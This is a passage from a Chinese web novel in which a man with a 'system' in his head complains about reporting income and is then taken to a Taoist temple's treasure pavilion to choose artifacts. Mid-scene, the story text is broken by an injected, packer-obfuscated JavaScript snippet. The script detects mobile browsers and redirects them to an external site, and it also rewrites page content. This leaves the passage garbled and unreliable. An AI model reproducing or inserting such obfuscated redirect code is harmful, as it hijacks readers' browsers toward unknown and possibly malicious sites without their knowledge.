系统长在他的脑子里,与他心有灵犀,就知道员工守则他都忘光了:【你傻啦,大额资金转入要打报告,否则算不正当财产,说不准什么时候给你抄没了。】 江行白一时又是不满又是感动,情感层层交织,最终也是说出一句:【实在是辛苦你了,为什么我收点钱就要打报告?】 系统收下他的感谢,并说:【不光要打报告,一会程序还会来消息劝诫你钱乃身外之物,让你多散点钱,手里少拿点。】 江行白更是不满,他已经在脑海里想象出与系统执手相看泪眼的场景,委屈道:【我不是人类吗,不需要生活吗?】 【你不吃不喝不住,咱也能让你活着。】 江行白在心里泪如雨下:【我比机器人都合适。】 留给人惆怅的时间不多了,两个小时转瞬即逝,岑明辉看着手机掐好点,两个小时准点一过,他就开始两轻一重地敲门。 江行白一听这十分有韵律的声音,就知道来者何人,只有岑明辉有这板板正正的敲门方式,听起来像鬼敲门一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962025|177682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抽空拿起手机点开和诸皓阳的聊天时间,一看,正正好好分毫不差,就过去2小时。 江行白:“……” 他不会还在门外掐表了吧。 精致的小木门被推开,岑明辉站在门前的台阶上,十分欢快地与江行白打招呼:“前辈,您好啊。” 少中二,江行白斜他一眼,他已经要看破岑明辉的天性了。 “我来接您到藏物阁,非常感谢您帮我们的忙,那个邪物实在太难制服。” 江行白跟在他的身后,随口道:“它有名字了,叫黑雾。” 岑明辉一呆:“这不和我们平时的称呼差不多。” “是的。”江行白仔细看着脚下,迈过长着青苔的台阶:“或者你叫它简号,10810也行。” 岑明辉脑袋上好像顶着一个问号,他不明白这简号是干嘛的从何而来,但他没有提问。 山路弯弯绕绕,天边云雾弥漫,让人感觉空气都是潮湿清新的。 道观真是个好地方,江行白心里想,在这地方住延年益寿,光是每天爬的山路就少不了长肌肉。 不知道走了多久,岑明辉才停下脚步,江行白四处一看,估计这里是半山腰,视野极好,能看到山下的一片林海。 “前辈,到了,我师叔也在里面。” 藏物阁是三四层的小楼,占地不小,上山的石砖路连上它的红木门阶,简直富贵的不像在一个图层。 如果山上进贼了,但只能进一个屋子偷东西,那不用想,一定是这间。 “前辈,小心台阶。”岑明辉体贴的提醒,向前几步将藏物阁的红木门推开,里面光线打的昏暗,江行白看不清有什么。 他紧随其后,藏物阁的一楼和他想的不太一样,没有一排一排放法宝的柜子,而是好几张大书桌,看上去能容纳五六人同时画符,书桌旁边是通到房顶的书柜,里面堆满了各式各样的符咒。 江行白眼睛亮了。 但岑明辉并没有在这一层停留,很明显,这一层的符箓还不够用做报酬,他走上楼梯,径直往上,一路到了三楼。 楼梯不算宽敞,有些拥挤,江行白站在他身后,看着他又两轻一重地敲了敲门。 他刚敲几下门就打开了,诸皓阳就杵在门后面等着江行白他们来。 “贾道长,来挑挑东西吧,三层放的基本都是好东西,法器能拿走一件,符箓多给你打包些。” 就一件啊,江行白有些失望,但也无所谓,可直到他推开门看清楚这一屋子都是些什么法宝,就对一件没有任何意见。 这种成色的法宝能给他就不错了,还挑上几件了。 只见屋子里一排排的木盒,有大有小,都打开着,安放在玻璃柜中,和博物馆的储存方式差不多,玻璃柜里还连着保持温度和湿度的机器。 岑明辉就近为江行白介绍:“这个,应该是明朝的物件,不要看它看起来只是一个平平无奇的匕首,它可以直接切开大多数邪物的外皮。” 江行白的眼睛更亮了。